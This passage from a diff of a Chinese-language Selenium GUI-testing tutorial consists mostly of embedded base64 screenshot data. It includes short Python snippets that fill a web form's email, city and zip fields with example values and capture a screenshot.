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
+)
+
+以类似的方式，我们可以填写电子邮件，城市和邮政编码字段：
+
+```py
+email = gui_driver.find_element_by_name("email")
+email.send_keys("j.doe@example.com")
+
+```
+
+```py
+city = gui_driver.find_element_by_name('city')
+city.send_keys("Seattle")
+
+```
+
+```py
+zip = gui_driver.find_element_by_name('zip')
+zip.send_keys("98104")
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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